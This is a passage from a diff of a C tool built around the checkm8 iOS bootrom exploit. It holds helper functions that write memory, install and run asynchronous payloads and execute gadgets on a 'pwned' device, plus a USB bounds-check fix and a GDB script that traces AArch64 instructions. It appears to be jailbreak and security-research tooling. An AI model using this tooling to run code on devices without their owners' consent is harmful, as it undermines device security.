buf_args[i] = va_arg(arg_list, unsigned long long);
checkm8_debug_indent("\textracted arg %lx\n", buf_args[i]);
}
va_end(arg_list);
resp = dev_write_memory(dev, buf_addr, (unsigned char *) buf_args, nargs * sizeof(unsigned long long));
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to write args to shared buffer\n");
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
}
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
task_args[0] = ADDR_TASK_NEW;
task_args[1] = 0x10001943b; // todo: name pointer
task_args[2] = pl->install_base;
task_args[3] = buf_addr;
task_args[4] = 0x4000;
resp = dev_exec(dev, 0, 5, task_args);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to create a new task\n");
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
}
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
pl->async_base = resp->retval;
free_dev_cmd_resp(resp);
return buf_addr;
}
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p)
{
checkm8_debug_indent("run_payload_async(dev = %p, payload = %i)\n", dev, p);
struct payload *pl;
struct dev_cmd_resp *resp;
unsigned long long args[2];
int retval;
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed!\n");
return CHECKM8_FAIL_NOINST;
}
if(pl->async_base == DEV_PTR_NULL)
{
checkm8_debug_indent("\tasync payload is not set up correctly!\n");
return CHECKM8_FAIL_NOINST;
}
args[0] = ADDR_TASK_RUN;
args[1] = pl->async_base;
resp = dev_exec(dev, 0, 2, args);
retval = resp->ret;
free_dev_cmd_resp(resp);
return retval;
}
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr)
{
checkm8_debug_indent("kill_payload_async(dev = %p, p = %i, buf_addr = %llx)\n", dev, p, buf_addr);
struct payload *pl;
struct dev_cmd_resp *resp;
unsigned long long args[2];
if((pl = dev_retrieve_payload(dev, p)) == NULL)
{
checkm8_debug_indent("\tpayload is not installed\n");
return CHECKM8_FAIL_NOINST;
}
if(pl->async_base == DEV_PTR_NULL)
{
checkm8_debug_indent("\tasync payload is not set up correctly\n");
return CHECKM8_FAIL_NOINST;
}
args[0] = ADDR_TASK_FREE;
args[1] = pl->async_base;
resp = dev_exec(dev, 0, 2, args);
pl->async_base = DEV_PTR_NULL;
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to kill payload\n");
free_dev_cmd_resp(resp);
return CHECKM8_FAIL_XFER;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
{
checkm8_debug_indent("\tfailed to free shared buffer\n");
return CHECKM8_FAIL_XFER;
}
return CHECKM8_SUCCESS;
}
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
{
checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
struct dev_cmd_resp *resp;
DEV_PTR_T addr = get_address(dev, loc, len);
if(addr == DEV_PTR_NULL)
{
checkm8_debug_indent("\tfailed to get an address\n");
return DEV_PTR_NULL;
}
checkm8_debug_indent("\twriting data to address %X\n", addr);
resp = dev_write_memory(dev, addr, data, len);
if(IS_CHECKM8_FAIL(resp->ret))
{
checkm8_debug_indent("\tfailed to write data\n");
return -1;
}
free_dev_cmd_resp(resp);
return addr;
}
int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
{
checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
return free_address(dev, SRAM, addr);
}
int uninstall_all_data(struct pwned_device *dev)
{
checkm8_debug_indent("uninstall_all_data(dev = %p)\n", dev);
int retval;
while(dev->inst_data != NULL)
{
retval = uninstall_data(dev, dev->inst_data->addr);
if(IS_CHECKM8_FAIL(retval))
{
checkm8_debug_indent("\terror while uninstalling data\n");
return retval;
}
}
return CHECKM8_SUCCESS;
}
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
{
checkm8_debug_indent("read_gadget(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
return dev_read_memory(dev, addr, len);
}
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len)
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len)
{
checkm8_debug_indent("write_gadget(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
return dev_write_memory(dev, addr, data, len);
}
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...)
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...)
{
checkm8_debug_indent("execute_gadget(dev = %p, addr = %lx, nargs = %i)\n", dev, addr, nargs);
int i;

View File

@@ -1,4 +1,4 @@
#include "usb_helpers.h"
#include "tool/usb_helpers.h"
#ifdef WITH_ARDUINO
@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
// get the size of this chunk
size = 0;
ard_read(dev, (unsigned char *) &size, 2);
if(size > ARD_BUF_SIZE)
{
checkm8_debug_indent("\treceived bad chunk size %i\n", size);
return CHECKM8_FAIL_XFER;
}
checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
ard_read(dev, (unsigned char *) &data[amount], size);

View File

@@ -3,7 +3,7 @@
#define CHECKM8_LOGGING
#define WITH_ARDUINO
//#define WITH_ARDUINO
#define ARDUINO_DEV "/dev/ttyACM0"
#define ARDUINO_BAUD 115200

111
tools/profile.py Normal file
View File

@@ -0,0 +1,111 @@
import gdb
def val_from_sym(name):
print 'getting value for %s' % name
try:
if name == 'wzr' or name == 'xzr':
return '0'
elif name[0] == '#':
return name
elif name[0] in ['x', 'w']:
return '0x{:x}'.format(int(gdb.selected_frame().read_register(name)))
else:
return None
except:
return 'val?'
class Profile(gdb.Command):
def __init__(self):
super(Profile, self).__init__("profile", gdb.COMMAND_USER)
def invoke(self, args, from_tty):
argv = gdb.string_to_argv(args)
if len(argv) != 1:
raise gdb.GdbError("Usage: profile [fname]")
arch = gdb.selected_frame().architecture()
instr_type = gdb.lookup_type("unsigned int").pointer()
next_dest = None
stack = []
outfile = open(argv[0], "a+")
while True:
if next_dest is not None:
outfile.write('\tdest %s\n' % val_from_sym(next_dest))
next_dest = None
addr = gdb.selected_frame().read_register("pc")
instr = arch.disassemble(int(str(addr), 16))[0]['asm']
if instr == '.inst\t0x00000000 ; undefined':
break
instr_spl = instr.split()
mnem = instr_spl[0]
dest = None
arg1 = None
arg2 = None
outfile.write('\n%s\t%s\n' % (addr, instr))
if len(instr_spl) > 1:
dest = instr_spl[1].strip(',')
if len(instr_spl) > 2:
arg1 = instr_spl[2].strip(',')
if len(instr_spl) > 3:
arg2 = instr_spl[3].strip(',')
if mnem == 'bl' or mnem == 'blr':
outfile.write('\tentering %s\n' % dest)
stack.append(dest)
outfile.write('\targs: [')
for reg in ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7']:
outfile.write('%s, ' % val_from_sym(reg))
outfile.write(']\n')
elif mnem == 'ret':
if len(stack) > 0:
outfile.write('\tfinished %s\n' % stack.pop())
else:
outfile.write('\tfinished ??\n')
outfile.write('\tretval %s\n' % val_from_sym('x0'))
elif mnem == 'ldr' or mnem == 'ldp':
outfile.write('\tdest %s\n' % val_from_sym(dest))
if mnem == 'ldp':
outfile.write('\tdest %s\n' % val_from_sym(arg1))
elif mnem == 'str' or mnem == 'stp':
outfile.write('\targ1 %s\n' % val_from_sym(dest))
if mnem == 'stp':
outfile.write('\targ2 %s\n' % val_from_sym(arg1))
else:
if dest is not None and dest[0] in ['x', 'w']:
next_dest = dest
if arg1 is not None:
val = val_from_sym(arg1)
if val is not None:
outfile.write('\targ1 %s\n' % val)
if arg2 is not None:
val = val_from_sym(arg2)
if val is not None:
outfile.write('\targ2 %s\n' % val)
gdb.execute("stepi", to_string=False)
outfile.close()
Profile()